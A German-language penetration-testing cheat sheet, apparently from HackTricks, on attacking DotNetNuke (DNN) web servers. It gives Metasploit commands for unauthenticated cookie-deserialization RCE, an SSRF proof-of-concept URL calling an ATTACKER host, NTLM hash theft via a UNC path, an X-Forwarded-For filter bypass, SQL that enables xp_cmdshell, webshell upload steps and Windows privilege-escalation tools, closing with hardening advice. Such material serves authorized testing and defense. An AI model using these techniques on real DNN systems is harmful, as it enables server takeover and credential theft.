# DotNetNuke (DNN) {{#include ../../banners/hacktricks-training.md}} ## DotNetNuke (DNN) Wenn Sie sich als **Administrator** in DNN anmelden, ist es einfach, **RCE** zu erhalten. In den letzten Jahren wurden jedoch eine Reihe von *unauthentifizierten* und *post-auth* Techniken veröffentlicht. Das folgende Cheat-Sheet sammelt die nützlichsten Primitiven für sowohl offensive als auch defensive Arbeiten. --- ## Versions- & Umgebungsenumeration * Überprüfen Sie den *X-DNN* HTTP-Antwortheader – er gibt normalerweise die genaue Plattformversion an. * Der Installationsassistent gibt die Version in `/Install/Install.aspx?mode=install` preis (zugänglich bei sehr alten Installationen). * `/API/PersonaBar/GetStatus` (9.x) gibt ein JSON-Blob zurück, das `"dnnVersion"` für Benutzer mit niedrigen Berechtigungen enthält. * Typische Cookies, die Sie in einer Live-Instanz sehen werden: * `.DOTNETNUKE` – ASP.NET-Formularauthentifizierungsticket. * `DNNPersonalization` – enthält XML/serialisierte Benutzerdaten (alte Versionen – siehe RCE unten). --- ## Unauthentifizierte Ausnutzung ### 1. Cookie-Deserialisierung RCE (CVE-2017-9822 & Folgemaßnahmen) *Betroffene Versionen ≤ 9.3.0-RC* `DNNPersonalization` wird bei jeder Anfrage deserialisiert, wenn der integrierte 404-Handler aktiviert ist. Durch manipuliertes XML kann daher zu beliebigen Gadget-Ketten und Codeausführung führen. ``` msf> use exploit/windows/http/dnn_cookie_deserialization_rce msf> set RHOSTS msf> set LHOST msf> run ``` Das Modul wählt automatisch den richtigen Pfad für gepatchte, aber weiterhin anfällige Versionen (CVE-2018-15811/15812/18325/18326). Die Ausnutzung funktioniert **ohne Authentifizierung** bei 7.x–9.1.x und mit einem *verifizierten* Konto mit niedrigen Rechten bei 9.2.x+. ### 2. Server-Side Request Forgery (CVE-2025-32372) *Betroffene Versionen < 9.13.8 – Patch veröffentlicht April 2025* Ein Umgehen des älteren `DnnImageHandler`-Fixes ermöglicht es einem Angreifer, den Server zu zwingen, **willkürliche GET-Anfragen** auszugeben (semi-blind SSRF). Praktische Auswirkungen: * Interner Port-Scan / Metadaten-Service-Entdeckung in Cloud-Bereitstellungen. * Erreichen von Hosts, die sonst durch eine Firewall vom Internet getrennt sind. Proof-of-Concept (ersetzen Sie `TARGET` & `ATTACKER`): ``` https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc ``` Die Anfrage wird im Hintergrund ausgelöst; überwachen Sie Ihren Listener auf Rückrufe. ### 3. NTLM-Hash-Exposition über UNC-Umleitung (CVE-2025-52488) *Betroffene Versionen 6.0.0 – 9.x (< 10.0.1)* Spezial angefertigte Inhalte können DNN dazu bringen, eine Ressource über einen **UNC-Pfad** wie `\\attacker\share\img.png` abzurufen. Windows führt bereitwillig die NTLM-Verhandlung durch und leakt die Serverkonto-Hashes an den Angreifer. Aktualisieren Sie auf **10.0.1** oder deaktivieren Sie ausgehendes SMB an der Firewall. ### 4. IP-Filter-Umgehung (CVE-2025-52487) Wenn Administratoren auf *Host/IP-Filter* zum Schutz des Admin-Portals angewiesen sind, beachten Sie, dass Versionen vor **10.0.1** durch Manipulation von `X-Forwarded-For` in einem Reverse-Proxy-Szenario umgangen werden können. --- ## Post-Authentifizierung zu RCE ### Über SQL-Konsole Unter **`Einstellungen → SQL`** ermöglicht ein integriertes Abfragefenster die Ausführung gegen die Site-Datenbank. Auf Microsoft SQL Server können Sie **`xp_cmdshell`** aktivieren und Befehle ausführen: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; GO xp_cmdshell 'whoami'; ``` ### Über ASPX-Webshell-Upload 1. Gehe zu **`Einstellungen → Sicherheit → Mehr → Weitere Sicherheitseinstellungen`**. 2. Füge `aspx` (oder `asp`) zu **Erlaubte Dateierweiterungen** hinzu und **speichere**. 3. Gehe zu **`/admin/file-management`** und lade `shell.aspx` hoch. 4. Rufe es auf unter **`/Portals/0/shell.aspx`**. --- ## Privilegieneskalation unter Windows Sobald die Codeausführung als **IIS AppPool\** erreicht ist, gelten gängige Windows-Privilegieneskalationstechniken. Wenn die Box anfällig ist, kannst du Folgendes nutzen: * **PrintSpoofer** / **SpoolFool**, um *SeImpersonatePrivilege* auszunutzen. * **Juicy/Sharp Potatoes**, um *Service Accounts* zu umgehen. --- ## Empfehlungen zur Härtung (Blue Team) * **Upgrade** auf mindestens **9.13.9** (behebt SSRF-Umgehung) oder vorzugsweise **10.0.1** (IP-Filter- & NTLM-Probleme). * Entferne verbleibende **`InstallWizard.aspx*`**-Dateien nach der Installation. * Deaktiviere ausgehenden SMB (Ports 445/139) Egress. * Erzwinge starke *Host-Filter* am Edge-Proxy anstelle innerhalb von DNN. * Blockiere den Zugriff auf `/API/RemoteContentProxy`, wenn nicht verwendet. ## Referenzen * Metasploit `dnn_cookie_deserialization_rce` Modul-Dokumentation – praktische Details zur nicht authentifizierten RCE (GitHub). * GitHub-Sicherheitsberatung GHSA-3f7v-qx94-666m – Informationen zur SSRF-Umgehung & Patch-Informationen von 2025. {{#include ../../banners/hacktricks-training.md}}